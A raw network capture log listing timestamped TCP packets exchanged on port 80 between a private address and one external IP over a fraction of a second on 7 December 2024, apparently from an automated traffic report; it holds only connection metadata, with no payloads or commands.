Dec 7, 2024 15:06:59.553252935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.553306103 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.553328991 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.553365946 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.554292917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.554349899 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.554361105 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.554395914 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.555453062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.555541992 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.555644035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.555644035 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.556421995 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.556468010 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.556516886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.556556940 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.557554007 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.557605982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.557661057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.557701111 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.558583975 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.558630943 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.558661938 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.558706999 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.559676886 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.559724092 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.559787035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.559829950 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.560754061 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.560806990 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.560852051 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.560894012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.561789036 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.561847925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.561901093 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.561942101 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.562896967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.562942982 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.562978029 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.563021898 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.563944101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.563987970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.564043999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.564079046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.565026045 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.565093994 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.565149069 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.565193892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.566102982 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.566153049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.566188097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.566226959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.567198038 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.567249060 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.567303896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.567348003 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.568320990 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.568335056 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.568378925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.568392992 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.569396019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.569447041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.569477081 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.569523096 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.570409060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.570463896 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.570494890 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.570539951 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.571502924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.571552992 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.571680069 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.571810007 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.572844028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.572890997 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.572999001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.573046923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.573995113 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.574049950 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.574114084 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.574160099 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.574779987 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.574836969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.574870110 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.574913025 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.575773954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.575818062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.575845957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.575884104 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.576858044 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.576900005 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.576970100 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.577013969 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.577971935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.578038931 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.578080893 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.578178883 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.579014063 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.579063892 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.579150915 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.579191923 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.580099106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.580205917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.580207109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.580255032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.581276894 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.581310034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.581316948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.581350088 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.582268000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.582314014 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.582382917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.582425117 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.583327055 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.583369017 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.583450079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.583493948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.584413052 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.584461927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.584506035 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.584544897 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.585447073 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.585504055 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.585608959 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.585659027 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.586513042 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.586555958 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.586622000 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.586663008 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.587590933 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.587631941 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.587701082 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.587742090 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.588659048 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.588711023 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.588778973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.588818073 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.589745998 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.589790106 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.589859009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.589896917 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.590836048 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.590877056 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.590879917 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.590914965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.591943979 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.591989040 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.592058897 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.592092037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.592952013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.593003988 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.593096018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.593133926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.594069958 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.594108105 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.594171047 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.594208002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.595150948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.595190048 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.595267057 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.595302105 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.596193075 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.596235991 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.596431971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.596468925 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.597271919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.597311020 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.597400904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.597436905 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.598342896 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.598386049 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.598453999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.598489046 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.599417925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.599478006 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.599514961 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.599572897 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.600514889 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.600553989 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.600611925 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.600656986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.601593018 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.601632118 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.601653099 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.601718903 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.726500034 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.726588011 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.726697922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.726737976 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.727113008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.727158070 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.727193117 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.727236986 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.728173971 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.728215933 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.728267908 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.728312016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.729183912 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.729226112 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.741981983 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.742043018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.742100954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.742136002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.742587090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.742655993 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.742671013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.742710114 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.743515015 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.743669987 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.743673086 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.743710041 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.744610071 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.744654894 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.744702101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.744744062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.745654106 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.745697975 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.745742083 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.745783091 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.746781111 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.746829033 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.746886969 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.746932030 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.747859001 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.747901917 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.747960091 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.747998953 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.748881102 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.748924017 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.749068975 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.749104977 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.749957085 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.749998093 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.750067949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.750108004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.751023054 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.751064062 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.751168013 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.751207113 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.752136946 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.752182007 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.752281904 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.752321959 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.753184080 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.753226042 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.753302097 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.753339052 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.754230976 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.754271984 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.754393101 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.754434109 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.755297899 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.755342007 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.755404949 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.755445004 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.756604910 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.756648064 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.756711960 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.756746054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.757493973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.757541895 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.757561922 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.757596016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.758528948 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.758574963 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.758752108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.758791924 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.759691954 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.759731054 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.759958029 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.759999037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.760718107 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.760763884 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.760811090 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.760850906 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.761795998 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.761842012 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.761976957 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.762017965 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.762878895 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.762923002 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.762978077 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.763015032 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.763984919 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.764025927 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.764055967 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.764090061 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.765002012 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.765044928 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.765084028 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.765122890 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.766091108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.766134024 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.766266108 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.766304016 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.767199039 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.767241955 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.767286062 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.767319918 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.768275023 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.768321037 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.768378973 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.768424034 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.769284010 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.769325972 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.769414902 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.769457102 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.770422935 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.770466089 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.770610094 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.770658970 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.771519899 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.771564960 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.771677017 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.771718979 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.772530079 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.772573948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.772661924 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.772701979 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.773602009 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.773647070 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.773699999 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.773739100 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.774698019 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.774750948 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.774787903 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.774822950 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.775793076 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.775840044 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.775877953 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.775917053 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.776832104 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.776876926 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.776937008 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.776981115 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.777888060 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.777931929 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.777988911 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.778033018 CET	49740	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:06:59.778965950 CET	80	49740	185.215.113.16	192.168.2.8
Dec 7, 2024 15:06:59.779021978 CET	49740	80	192.168.2.8	185.215.113.16
